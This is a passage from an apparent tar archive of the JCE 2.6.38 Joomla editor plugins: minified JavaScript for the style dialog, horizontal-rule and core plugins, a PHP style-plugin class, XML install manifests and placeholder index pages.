s,ed=tinyMCEPopup.editor,ce=document.getElementById("container");if(selectByValue("text_font_list",ce.style.fontFamily,!0,!0),selectByValue("text_size_list",this.getNum(ce.style.fontSize),!0,!0),selectByValue("text_size_measurement",this.getMeasurement(ce.style.fontSize)),selectByValue("text_weight",ce.style.fontWeight,!0,!0),selectByValue("text_style",ce.style.fontStyle,!0,!0),selectByValue("text_lineheight",this.getNum(ce.style.lineHeight),!0,!0),selectByValue("text_lineheight_measurement",this.getMeasurement(ce.style.lineHeight)),selectByValue("text_case",ce.style.textTransform,!0,!0),selectByValue("text_variant",ce.style.fontVariant,!0,!0),$("#text_color").val(ed.dom.toHex(ce.style.color)),$("#text_underline").prop("checked",this.inStr(ce.style.textDecoration,"underline")),$("#text_overline").prop("checked",this.inStr(ce.style.textDecoration,"overline")),$("#text_linethrough").prop("checked",this.inStr(ce.style.textDecoration,"line-through")),$("#text_blink").prop("checked",this.inStr(ce.style.textDecoration,"blink")),$("#text_none").prop("checked",this.inStr(ce.style.textDecoration,"none")),this.updateTextDecorations(),$("#background_color").val(ed.dom.toHex(ce.style.backgroundColor)),$("#background_image").val(ce.style.backgroundImage.replace(new RegExp("url\\('?([^']*)'?\\)","gi"),function(a,b){return ed.convertURL(b)})),selectByValue("background_repeat",ce.style.backgroundRepeat,!0,!0),selectByValue("background_attachment",ce.style.backgroundAttachment,!0,!0),selectByValue("background_hpos",this.getNum(this.getVal(ce.style.backgroundPosition,0)),!0,!0),selectByValue("background_hpos_measurement",this.getMeasurement(this.getVal(ce.style.backgroundPosition,0))),selectByValue("background_vpos",this.getNum(this.getVal(ce.style.backgroundPosition,1)),!0,!0),selectByValue("background_vpos_measurement",this.getMeasurement(this.getVal(ce.style.backgroundPosition,1))),selectByValue("block_wordspacing",this.getNum(ce.style.wordSpacing),!0,!0),selectByValue("block_wordspacing_measurement",this.getMeasurement(ce.style.wordSpacing)),selectByValue("block_letterspacing",this.getNum(ce.style.letterSpacing),!0,!0),selectByValue("block_letterspacing_measurement",this.getMeasurement(ce.style.letterSpacing)),selectByValue("block_vertical_alignment",ce.style.verticalAlign,!0,!0),selectByValue("block_text_align",ce.style.textAlign,!0,!0),$("#block_text_indent").val(this.getNum(ce.style.textIndent)),selectByValue("block_text_indent_measurement",this.getMeasurement(ce.style.textIndent)),selectByValue("block_whitespace",ce.style.whiteSpace,!0,!0),selectByValue("block_display",ce.style.display,!0,!0),$("#box_width").val(this.getNum(ce.style.width)),selectByValue("box_width_measurement",this.getMeasurement(ce.style.width)),$("#box_height").val(this.getNum(ce.style.height)),selectByValue("box_height_measurement",this.getMeasurement(ce.style.height)),selectByValue("box_float",ce.style.cssFloat||ce.style.styleFloat,!0,!0),selectByValue("box_clear",ce.style.clear,!0,!0),this.setupBox(ce,"box_padding","padding",""),this.setupBox(ce,"box_margin","margin",""),this.setupBox(ce,"border_style","border","Style"),this.setupBox(ce,"border_width","border","Width"),this.setupBox(ce,"border_color","border","Color"),$.each(["top","right","bottom","left"],function(i,k){$("#border_color_"+k).val(function(){return ed.dom.toHex(this.value)})}),selectByValue("list_type",ce.style.listStyleType,!0,!0),selectByValue("list_position",ce.style.listStylePosition,!0,!0),$("#list_bullet_image").val(ce.style.listStyleImage.replace(new RegExp("url\\('?([^']*)'?\\)","gi"),"$1")),selectByValue("positioning_type",ce.style.position,!0,!0),selectByValue("positioning_visibility",ce.style.visibility,!0,!0),selectByValue("positioning_overflow",ce.style.overflow,!0,!0),$("#positioning_zindex").val(ce.style.zIndex?ce.style.zIndex:""),$("#positioning_width").val(this.getNum(ce.style.width)),selectByValue("positioning_width_measurement",this.getMeasurement(ce.style.width)),$("#positioning_height").val(this.getNum(ce.style.height)),selectByValue("positioning_height_measurement",this.getMeasurement(ce.style.height)),this.setupBox(ce,"positioning_placement","","",["top","right","bottom","left"]),s=ce.style.clip.replace(new RegExp("rect\\('?([^']*)'?\\)","gi"),"$1"),s=s.replace(/,/g," "),this.hasEqualValues([this.getVal(s,0),this.getVal(s,1),this.getVal(s,2),this.getVal(s,3)])){$("#positioning_clip_top").val(this.getNum(this.getVal(s,0))),selectByValue("positioning_clip_top_measurement",this.getMeasurement(this.getVal(s,0)));var v=$("#positioning_clip_left").val();$("#positioning_clip_right").val(v),$("#positioning_clip_bottom").val(v)}else $("#positioning_clip_top").val(this.getNum(this.getVal(s,0))),selectByValue("positioning_clip_top_measurement",this.getMeasurement(this.getVal(s,0))),$("#positioning_clip_right").val(this.getNum(this.getVal(s,1))),selectByValue("positioning_clip_right_measurement",this.getMeasurement(this.getVal(s,1))),$("#positioning_clip_bottom").val(this.getNum(this.getVal(s,2))),selectByValue("positioning_clip_bottom_measurement",this.getMeasurement(this.getVal(s,2))),$("#positioning_clip_left").val(this.getNum(this.getVal(s,3))),selectByValue("positioning_clip_left_measurement",this.getMeasurement(this.getVal(s,3)))},getMeasurement:function(s){return s.replace(/^([0-9.]+)(.*)$/,"$2")},getNum:function(s){return new RegExp("^(?:[0-9.]+)(?:[a-z%]+)$","gi").test(s)?s.replace(/[^0-9.]/g,""):s},inStr:function(s,n){return new RegExp(n,"gi").test(s)},getVal:function(s,i){var a=s.split(" ");return a.length>1?a[i]:""},setValue:function(n,v){var el=document.getElementById(n);"select"==el.type?selectByValue(n,v,!0,!0):el.value=v},setProp:function(n,p,v){var el=document.getElementById(n);$(el).prop(p,v)},setupBox:function(ce,fp,pr,sf,b){"undefined"==typeof b&&(b=["Top","Right","Bottom","Left"]),this.isSame(ce,pr,sf,b)?(this.setProp(fp+"_same","checked",!0),this.setValue(fp+"_top",this.getNum(ce.style[pr+b[0]+sf])),this.setProp(fp+"_top","disabled",!1),this.setValue(fp+"_right",""),this.setProp(fp+"_right","disabled",!0),this.setValue(fp+"_bottom",""),this.setProp(fp+"_bottom","disabled",!0),this.setValue(fp+"_left",""),this.setProp(fp+"_left","disabled",!0),$("#"+fp+"_top_measurement").get(0)&&(selectByValue(fp+"_top_measurement",this.getMeasurement(ce.style[pr+b[0]+sf])),this.setProp(fp+"_left_measurement","disabled",!0),this.setProp(fp+"_bottom_measurement","disabled",!0),this.setProp(fp+"_right_measurement","disabled",!0))):(this.setProp(fp+"_same","checked",!1),this.setValue(fp+"_top",this.getNum(ce.style[pr+b[0]+sf])),this.setProp(fp+"_top","disabled",!1),this.setValue(fp+"_right",this.getNum(ce.style[pr+b[1]+sf])),this.setProp(fp+"_right","disabled",!1),this.setValue(fp+"_bottom",this.getNum(ce.style[pr+b[2]+sf])),this.setProp(fp+"_bottom","disabled",!1),this.setValue(fp+"_left",this.getNum(ce.style[pr+b[3]+sf])),this.setProp(fp+"_left","disabled",!1),$("#"+fp+"_top_measurement").get(0)&&(selectByValue(fp+"_top_measurement",this.getMeasurement(ce.style[pr+b[0]+sf])),selectByValue(fp+"_right_measurement",this.getMeasurement(ce.style[pr+b[1]+sf])),selectByValue(fp+"_bottom_measurement",this.getMeasurement(ce.style[pr+b[2]+sf])),selectByValue(fp+"_left_measurement",this.getMeasurement(ce.style[pr+b[3]+sf])),this.setProp(fp+"_left_measurement","disabled",!1),this.setProp(fp+"_bottom_measurement","disabled",!1),this.setProp(fp+"_right_measurement","disabled",!1)))},isSame:function(e,pr,sf,b){var i,x,a=[];for("undefined"==typeof b&&(b=["Top","Right","Bottom","Left"]),"undefined"!=typeof sf&&null!=sf||(sf=""),a[0]=e.style[pr+b[0]+sf],a[1]=e.style[pr+b[1]+sf],a[2]=e.style[pr+b[2]+sf],a[3]=e.style[pr+b[3]+sf],i=0;i<a.length;i++){if(null==a[i])return!1;for(x=0;x<a.length;x++)if(a[x]!=a[i])return!1}return!0},hasEqualValues:function(a){var i,x;for(i=0;i<a.length;i++){if(null==a[i])return!1;for(x=0;x<a.length;x++)if(a[x]!=a[i])return!1}return!0},toggleApplyAction:function(){this.applyActionIsInsert=!this.applyActionIsInsert},applyAction:function(){var ce=document.getElementById("container"),ed=tinyMCEPopup.editor;this.generateCSS(),tinyMCEPopup.restoreSelection();var newStyles=tinyMCEPopup.editor.dom.parseStyle(ce.style.cssText);if(this.applyActionIsInsert)ed.formatter.register("plugin_style",{inline:"span",styles:this.existingStyles}),ed.formatter.remove("plugin_style"),ed.formatter.register("plugin_style",{inline:"span",styles:newStyles}),ed.formatter.apply("plugin_style");else{var nodes;nodes=tinyMCEPopup.getWindowArg("applyStyleToBlocks")?ed.selection.getSelectedBlocks():ed.selection.getNode(),ed.dom.setAttrib(nodes,"style",tinyMCEPopup.editor.dom.serializeStyle(newStyles))}},updateAction:function(){this.applyAction(),tinyMCEPopup.close()},generateCSS:function(){var s,t,ce=document.getElementById("container");new RegExp("[0-9]+","g");ce.style.cssText="",ce.style.fontFamily=$("#text_font").val(),ce.style.fontSize=$("#text_size").val()+(this.isNum($("#text_size").val())?$("#text_size_measurement").val()||"px":""),ce.style.fontStyle=$("#text_style").val(),ce.style.lineHeight=$("#text_lineheight").val()+(this.isNum($("#text_lineheight").val())?$("#text_lineheight_measurement").val():""),ce.style.textTransform=$("#text_case").val(),ce.style.fontWeight=$("#text_weight").val(),ce.style.fontVariant=$("#text_variant").val(),ce.style.color=getColor("#text_color"),s="",s+=$("#text_underline").prop("checked")?" underline":"",s+=$("#text_overline").prop("checked")?" overline":"",s+=$("#text_linethrough").prop("checked")?" line-through":"",s+=$("#text_blink").prop("checked")?" blink":"",s=s.length>0?s.substring(1):s,$("#text_none").prop("checked")&&(s="none"),ce.style.textDecoration=s,ce.style.backgroundColor=getColor("#background_color"),ce.style.backgroundImage=""!=$("#background_image").val()?"url("+$("#background_image").val()+")":"",ce.style.backgroundRepeat=$("#background_repeat").val(),ce.style.backgroundAttachment=$("#background_attachment").val(),""!=$("#background_hpos").val()&&(s="",s+=$("#background_hpos").val()+(this.isNum($("#background_hpos").val())?$("#background_hpos_measurement").val():"")+" ",s+=$("#background_vpos").val()+(this.isNum($("#background_vpos").val())?$("#background_vpos_measurement").val():""),ce.style.backgroundPosition=s),ce.style.wordSpacing=$("#block_wordspacing").val()+(this.isNum($("#block_wordspacing").val())?$("#block_wordspacing_measurement").val():""),ce.style.letterSpacing=$("#block_letterspacing").val()+(this.isNum($("#block_letterspacing").val())?$("#block_letterspacing_measurement").val():""),ce.style.verticalAlign=$("#block_vertical_alignment").val(),ce.style.textAlign=$("#block_text_align").val(),ce.style.textIndent=$("#block_text_indent").val()+(this.isNum($("#block_text_indent").val())?$("#block_text_indent_measurement").val():""),ce.style.whiteSpace=$("#block_whitespace").val(),ce.style.display=$("#block_display").val(),ce.style.width=$("#box_width").val()+(this.isNum($("#box_width").val())?$("#box_width_measurement").val():""),ce.style.height=$("#box_height").val()+(this.isNum($("#box_height").val())?$("#box_height_measurement").val():""),tinymce.isIE?ce.style.styleFloat=$("#box_float").val():ce.style.cssFloat=$("#box_float").val(),ce.style.clear=$("#box_clear").val(),$("#box_padding_same").prop("checked")?ce.style.padding=$("#box_padding_top").val()+(this.isNum($("#box_padding_top").val())?$("#box_padding_top_measurement").val():""):(ce.style.paddingTop=$("#box_padding_top").val()+(this.isNum($("#box_padding_top").val())?$("#box_padding_top_measurement").val():""),ce.style.paddingRight=$("#box_padding_right").val()+(this.isNum($("#box_padding_right").val())?$("#box_padding_right_measurement").val():""),ce.style.paddingBottom=$("#box_padding_bottom").val()+(this.isNum($("#box_padding_bottom").val())?$("#box_padding_bottom_measurement").val():""),ce.style.paddingLeft=$("#box_padding_left").val()+(this.isNum($("#box_padding_left").val())?$("#box_padding_left_measurement").val():"")),$("#box_padding_same").prop("checked")?ce.style.margin=$("#box_margin_top").val()+(this.isNum($("#box_margin_top").val())?$("#box_margin_top_measurement").val():""):(ce.style.marginTop=$("#box_margin_top").val()+(this.isNum($("#box_margin_top").val())?$("#box_margin_top_measurement").val():""),ce.style.marginRight=$("#box_margin_right").val()+(this.isNum($("#box_margin_right").val())?$("#box_margin_right_measurement").val():""),ce.style.marginBottom=$("#box_margin_bottom").val()+(this.isNum($("#box_margin_bottom").val())?$("#box_margin_bottom_measurement").val():""),ce.style.marginLeft=$("#box_margin_left").val()+(this.isNum($("#box_margin_left").val())?$("#box_margin_left_measurement").val():"")),$("#border_style_same").prop("checked")?ce.style.borderStyle=$("#border_style_top").val():(ce.style.borderTopStyle=$("#border_style_top").val(),ce.style.borderRightStyle=$("#border_style_right").val(),ce.style.borderBottomStyle=$("#border_style_bottom").val(),ce.style.borderLeftStyle=$("#border_style_left").val()),$("#border_width_same").prop("checked")?ce.style.borderWidth=$("#border_width_top").val()+(this.isNum($("#border_width_top").val())?$("#border_width_top_measurement").val():""):(ce.style.borderTopWidth=$("#border_width_top").val()+(this.isNum($("#border_width_top").val())?$("#border_width_top_measurement").val():""),ce.style.borderRightWidth=$("#border_width_right").val()+(this.isNum($("#border_width_right").val())?$("#border_width_right_measurement").val():""),ce.style.borderBottomWidth=$("#border_width_bottom").val()+(this.isNum($("#border_width_bottom").val())?$("#border_width_bottom_measurement").val():""),ce.style.borderLeftWidth=$("#border_width_left").val()+(this.isNum($("#border_width_left").val())?$("#border_width_left_measurement").val():"")),$("#border_color_same").prop("checked")?ce.style.borderColor=getColor("#border_color_top"):(ce.style.borderTopColor=getColor("#border_color_top"),ce.style.borderRightColor=getColor("#border_color_right"),ce.style.borderBottomColor=getColor("#border_color_bottom"),ce.style.borderLeftColor=getColor("#border_color_left")),ce.style.listStyleType=$("#list_type").val(),ce.style.listStylePosition=$("#list_position").val(),ce.style.listStyleImage=""!=$("#list_bullet_image").val()?"url("+$("#list_bullet_image").val()+")":"",ce.style.position=$("#positioning_type").val(),ce.style.visibility=$("#positioning_visibility").val(),""==ce.style.width&&(ce.style.width=$("#positioning_width").val()+(this.isNum($("#positioning_width").val())?$("#positioning_width_measurement").val():"")),""==ce.style.height&&(ce.style.height=$("#positioning_height").val()+(this.isNum($("#positioning_height").val())?$("#positioning_height_measurement").val():"")),ce.style.zIndex=$("#positioning_zindex").val(),ce.style.overflow=$("#positioning_overflow").val(),$("#positioning_placement_same").prop("checked")?(s=$("#positioning_placement_top").val()+(this.isNum($("#positioning_placement_top").val())?$("#positioning_placement_top_measurement").val():""),ce.style.top=s,ce.style.right=s,ce.style.bottom=s,ce.style.left=s):(ce.style.top=$("#positioning_placement_top").val()+(this.isNum($("#positioning_placement_top").val())?$("#positioning_placement_top_measurement").val():""),ce.style.right=$("#positioning_placement_right").val()+(this.isNum($("#positioning_placement_right").val())?$("#positioning_placement_right_measurement").val():""),ce.style.bottom=$("#positioning_placement_bottom").val()+(this.isNum($("#positioning_placement_bottom").val())?$("#positioning_placement_bottom_measurement").val():""),ce.style.left=$("#positioning_placement_left").val()+(this.isNum($("#positioning_placement_left").val())?$("#positioning_placement_left_measurement").val():"")),$("#positioning_clip_same").prop("checked")?(s="rect(",t=this.isNum($("#positioning_clip_top").val())?$("#positioning_clip_top").val()+$("#positioning_clip_top_measurement").val():"auto",s+=t+" ",s+=t+" ",s+=t+" ",s+=t+")","rect(auto auto auto auto)"!=s&&(ce.style.clip=s)):(s="rect(",s+=(this.isNum($("#positioning_clip_top").val())?$("#positioning_clip_top").val()+$("#positioning_clip_top_measurement").val():"auto")+" ",s+=(this.isNum($("#positioning_clip_right").val())?$("#positioning_clip_right").val()+$("#positioning_clip_right_measurement").val():"auto")+" ",s+=(this.isNum($("#positioning_clip_bottom").val())?$("#positioning_clip_bottom").val()+$("#positioning_clip_bottom_measurement").val():"auto")+" ",s+=this.isNum($("#positioning_clip_left").val())?$("#positioning_clip_left").val()+$("#positioning_clip_left_measurement").val():"auto",s+=")","rect(auto auto auto auto)"!=s&&(ce.style.clip=s)),ce.style.cssText=ce.style.cssText},isNum:function(s){return new RegExp("[0-9]+","g").test(s)},showDisabledControls:function(){},fillSelect:function(s,param,dval,sep,em){var i,ar,p,se;for(sep="undefined"==typeof sep?";":sep,em&&addSelectValue(s,"",""),ar=tinyMCEPopup.getParam(param,dval).split(sep),i=0;i<ar.length;i++)se=!1,"+"==ar[i].charAt(0)&&(ar[i]=ar[i].substring(1),se=!0),p=ar[i].split("="),p.length>1?(addSelectValue(s,p[0],p[1]),se&&selectByValue(s,p[1])):(addSelectValue(s,p[0],p[0]),se&&selectByValue(s,p[0]))},toggleSame:function(ce,pre){var s=ce.checked;$("#"+pre+"_right, #"+pre+"_bottom, #"+pre+"_left").attr("disabled",s).toggleClass("disabled",s).next("span.pickcolor_icon, span.browser_icon, span.select-edit").toggleClass("disabled",s),$("#"+pre+"_right_measurement, #"+pre+"_bottom_measurement, #"+pre+"_left_measurement").attr("disabled",s).toggleClass("disabled",s)},synch:function(fr,to){$("#"+to).val($("#"+fr).val()),document.getElementById[fr+"_measurement"]&&selectByValue(to+"_measurement",$("#"+fr+"_measurement").val())},updateTextDecorations:function(){var noneChecked=$("#text_none").is(":checked");$("#text_underline, #text_overline, #text_linethrough, #text_blink").each(function(){$(this).prop("disabled",noneChecked),noneChecked&&$(this).prop("checked",!1)})}};tinyMCEPopup.onInit.add(StyleDialog.init,StyleDialog),window.StyleDialog=StyleDialog}(tinymce,tinyMCEPopup,jQuery);editor/tiny_mce/plugins/style/index.html000060400000000054150750527140014460 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/style/classes/style.php000060400000003401150750527140015770 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

require_once WF_EDITOR_LIBRARIES.'/classes/plugin.php';

class WFStylePlugin extends WFEditorPlugin
{
    public function __construct()
    {
        parent::__construct(array('colorpicker' => true));
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();

        $document->addScript(array('style'), 'plugins');
        $document->addStyleSheet(array('style'), 'plugins');

        $settings = $this->getSettings();

        $document->addScriptDeclaration('StyleDialog.settings='.json_encode($settings).';');

        $tabs = WFTabs::getInstance(array(
                    'base_path' => WF_EDITOR_PLUGIN,
                ));

        // Add tabs
        $tabs->addTab('text');
        $tabs->addTab('background');
        $tabs->addTab('block');
        $tabs->addTab('box');
        $tabs->addTab('border');
        $tabs->addTab('list');
        $tabs->addTab('positioning');
    }

    public function getSettings($settings = array())
    {
        $profile = $this->getProfile();

        $settings = array(
            'file_browser' => $this->getParam('file_browser', 1) && in_array('browser', explode(',', $profile->plugins)),
        );

        return parent::getSettings($settings);
    }
}
editor/tiny_mce/plugins/style/classes/index.html000060400000000054150750527140016115 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/hr/editor_plugin.js000060400000004012150750527140015134 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){var blocks="H1,H2,H3,H4,H5,H6,P,DIV,ADDRESS,PRE,FORM,TABLE,OL,UL,CAPTION,BLOCKQUOTE,CENTER,DL,DIR,FIELDSET,NOSCRIPT,NOFRAMES,MENU,ISINDEX,SAMP,SECTION,ARTICLE,HGROUP,ASIDE,FIGURE",VK=tinymce.VK,BACKSPACE=VK.BACKSPACE,DELETE=VK.DELETE;tinymce.create("tinymce.plugins.HorizontalRulePlugin",{init:function(ed,url){function isHR(n){return"HR"===n.nodeName&&/mce-item-(pagebreak|readmore)/.test(n.className)===!1}this.editor=ed,ed.addCommand("InsertHorizontalRule",function(ui,v){var se=ed.selection,n=se.getNode();if(/^(H[1-6]|P)$/.test(n.nodeName)){ed.undoManager.add(),ed.execCommand("mceInsertContent",!1,'<span id="mce_hr_marker" data-mce-type="bookmark">\ufeff</span>',{skip_undo:1});var marker=ed.dom.get("mce_hr_marker"),hr=ed.dom.create("hr"),p=ed.dom.getParent(marker,blocks,"BODY");ed.dom.split(p,marker);var ns=marker.nextSibling;if(!ns){var el=ed.getParam("forced_root_block")||"br";ns=ed.dom.create(el),"br"!=el&&(ns.innerHTML=" "),ed.dom.insertAfter(ns,marker)}ns&&ed.selection.setCursorLocation(ns,ns.childNodes.length),ed.dom.replace(hr,marker)}else ed.execCommand("mceInsertContent",!1,"<hr />");ed.undoManager.add()}),ed.addButton("hr",{title:"advanced.hr_desc",cmd:"InsertHorizontalRule"}),ed.onNodeChange.add(function(ed,cm,n){var s=isHR(n);cm.setActive("hr",s),ed.dom.removeClass(ed.dom.select("hr.mce-item-selected:not(.mce-item-pagebreak,.mce-item-readmore)"),"mce-item-selected"),s&&ed.dom.addClass(n,"mce-item-selected")}),ed.onKeyDown.add(function(ed,e){if(e.keyCode==BACKSPACE||e.keyCode==DELETE){var s=ed.selection,n=s.getNode();if(isHR(n)){var sib=n.previousSibling;ed.dom.remove(n),e.preventDefault(),ed.dom.isBlock(sib)||(sib=n.nextSibling,ed.dom.isBlock(sib)||(sib=null)),sib&&ed.selection.setCursorLocation(sib,sib.childNodes.length)}}})}}),tinymce.PluginManager.add("hr",tinymce.plugins.HorizontalRulePlugin)}();editor/tiny_mce/plugins/hr/hr.xml000060400000001113150750527140013064 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="hr" core="1" editable="0">
	<name>WF_HR_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_HR_DESC</description>
	<icon>hr</icon>
	<params></params>
	<help></help>
	<languages></languages>
</install>editor/tiny_mce/plugins/hr/index.html000060400000000054150750527140013731 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/core/editor_plugin.js000060400000013215150750527140015460 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(tinymce){var DOM=tinymce.DOM,Event=tinymce.dom.Event,each=(tinymce.is,tinymce.each),VK=tinymce.VK;tinyMCE.onAddEditor.add(function(mgr,ed){tinymce.isMac&&tinymce.isGecko&&!tinymce.isIE11&&ed.onKeyDown.add(function(ed,e){!VK.metaKeyPressed(e)||e.shiftKey||37!=e.keyCode&&39!=e.keyCode||(ed.selection.getSel().modify("move",37==e.keyCode?"backward":"forward","word"),e.preventDefault())})}),tinymce.util.PreviewCss=function(ed,fmt){function removeVars(val){return val&&"string"==typeof val&&(val=val.replace(/%(\w+)/g,"")),val}var name,previewElm,parentFontSize,dom=ed.dom,previewCss="",previewStyles=ed.settings.preview_styles;return previewStyles===!1?"":(previewStyles||(previewStyles="font-family font-size font-weight text-decoration text-transform color background-color"),name=fmt.block||fmt.inline||"span",previewElm=dom.create(name),each(fmt.styles,function(value,name){value=removeVars(value),value&&dom.setStyle(previewElm,name,value)}),each(fmt.attributes,function(value,name){value=removeVars(value),value&&dom.setAttrib(previewElm,name,value)}),each(fmt.classes,function(value){value=removeVars(value),dom.hasClass(previewElm,value)||dom.addClass(previewElm,value)}),dom.setStyles(previewElm,{position:"absolute",left:-65535}),ed.getBody().appendChild(previewElm),parentFontSize=dom.getStyle(ed.getBody(),"fontSize",!0),parentFontSize=/px$/.test(parentFontSize)?parseInt(parentFontSize,10):0,each(previewStyles.split(" "),function(name){var value=dom.getStyle(previewElm,name,!0);if("background-color"!=name||!/transparent|rgba\s*\([^)]+,\s*0\)/.test(value)||(value=dom.getStyle(ed.getBody(),name,!0),"#ffffff"!=dom.toHex(value).toLowerCase())){if("font-size"==name&&/em|%$/.test(value)){if(0===parentFontSize)return;value=parseFloat(value,10)/(/%$/.test(value)?100:1),value=value*parentFontSize+"px"}previewCss+=name+":"+value+";"}}),dom.remove(previewElm),previewCss)},tinymce.create("tinymce.ui.ButtonDialog:tinymce.ui.Button",{ButtonDialog:function(id,s,ed){this.parent(id,s,ed),this.settings=s=tinymce.extend({content:"",buttons:[]},this.settings),this.editor=ed,this.onRenderDialog=new tinymce.util.Dispatcher(this),this.onShowDialog=new tinymce.util.Dispatcher(this),this.onHideDialog=new tinymce.util.Dispatcher(this),s.dialog_container=s.dialog_container||DOM.doc.body},showDialog:function(){var p2,t=this,ed=this.editor,s=this.settings,e=DOM.get(t.id);if(!t.isDisabled()){if(this.storeSelection(),t.isDialogRendered||t.renderDialog(),t.isDialogVisible)return t.hideDialog();if(DOM.show(t.id+"_dialog"),s.url){var iframe=DOM.get(t.id+"_iframe");iframe.src=s.url}p2=DOM.getPos(e),DOM.setStyles(t.id+"_dialog",{left:p2.x,top:p2.y+e.clientHeight+5,zIndex:2e5}),e=0,this.isActive()?DOM.addClass(t.id+"_dialog",this.classPrefix+"DialogActive"):DOM.removeClass(t.id+"_dialog",this.classPrefix+"DialogActive"),Event.add(ed.getDoc(),"mousedown",t.hideDialog,t),Event.add(DOM.doc,"mousedown",function(e){for(var n=e.target;n&&n!=DOM.getRoot()&&n.nodeType&&9!==n.nodeType;){if(n==DOM.get(t.id+"_dialog"))return;n=n.parentNode}t.hideDialog()}),t.onShowDialog.dispatch(t),t._focused&&(t._keyHandler=Event.add(t.id+"_dialog","keydown",function(e){27==e.keyCode&&t.hideDialog()})),t.isDialogVisible=1}},storeSelection:function(){tinymce.isIE&&(this.editor.focus(),this.bookmark=this.editor.selection.getBookmark(1))},restoreSelection:function(){this.bookmark&&(this.editor.selection.moveToBookmark(this.bookmark),this.editor.focus()),this.bookmark=0},renderDialog:function(){var m,w,v,t=this,s=this.settings,ed=this.editor;return s.class+=" defaultSkin","default"!==ed.getParam("skin")&&(s.class+=" "+ed.getParam("skin")+"Skin"),(v=ed.getParam("skin_variant"))&&(s.class+=" "+ed.getParam("skin")+"Skin"+v.substring(0,1).toUpperCase()+v.substring(1)),s.class+="rtl"==ed.settings.directionality?" mceRtl":"",w=DOM.add(s.dialog_container,"div",{role:"presentation",id:t.id+"_dialog",class:s.class,style:"position:absolute;left:0;top:-1000px;"}),w=DOM.add(w,"div",{class:this.classPrefix+"Dialog"}),m=DOM.add(w,"div",{class:this.classPrefix+"DialogContent"}),s.width&&DOM.setStyle(w,"width",s.width),tinymce.is(s.content,"string")?DOM.setHTML(m,s.content):DOM.add(m,s.content),s.url&&DOM.add(m,"iframe",{id:t.id+"_iframe",src:s.url,style:{border:0,width:"100%",height:"100%"},onload:function(){t.isDialogRendered=!0,t.onRenderDialog.dispatch(t)}}),m=DOM.add(w,"div",{class:this.classPrefix+"DialogButtons"}),each(s.buttons,function(o){var btn=DOM.add(m,"button",{type:"button",class:"mceDialogButton",id:t.id+"_button_"+o.id},o.title||"");o.click&&Event.add(btn,"click",function(e){e.preventDefault(),t.restoreSelection();var s=o.click.call(o.scope||t,e);s&&t.hideDialog()})}),s.url||(t.isDialogRendered=!0,t.onRenderDialog.dispatch(t)),w},setButtonDisabled:function(button,state){var id=this.id+"_button_"+button;state?DOM.addClass(id,"disabled"):DOM.removeClass(id,"disabled")},setButtonLabel:function(button,label){DOM.setHTML(this.id+"_button_"+button,label)},hideDialog:function(e){var t=this;e&&"mousedown"==e.type&&DOM.getParent(e.target,function(e){return e.id===t.id||e.id===t.id+"_open"})||(e&&DOM.getParent(e.target,".mceDialog")||(t.setState("Selected",0),Event.remove(DOM.doc,"mousedown",t.hideDialog,t),DOM.hide(t.id+"_dialog")),t.isDialogVisible=0,t.onHideDialog.dispatch(t))},postRender:function(){var t=this,s=t.settings;this.editor;Event.add(t.id,"click",function(){t.isDisabled()||(s.onclick&&s.onclick(t.value),t.showDialog())})},destroy:function(){this.parent(),Event.clear(this.id+"_dialog"),DOM.remove(this.id+"_dialog")}})}(tinymce);editor/tiny_mce/plugins/core/index.html000060400000000054150750527140014250 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/print/print.xml000060400000001223150750527140014334 0ustar00<?xml version="1.0" ?>
<install version="2.0" type="plugin" plugin="print" core="1" editable="0">
	<name>WF_PRINT_TITLE</name>
	<version>2.6.38</version>
	<creationDate>14-03-2019</creationDate>
	<author>Ryan Demmer</author>
	<authorEmail>info@joomlacontenteditor.net</authorEmail>
	<authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
	<copyright>Ryan Demmer</copyright>
	<license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
	<description>WF_PRINT_DESC</description>
	<icon>print</icon>
	<params></params>
	<help>
		<topic key="print.about" title="WF_PRINT_HELP_ABOUT" />
	</help>
	<languages></languages>
</install>editor/tiny_mce/plugins/print/index.html000060400000000054150750527140014454 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/print/editor_plugin.js000060400000001260150750527140015661 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
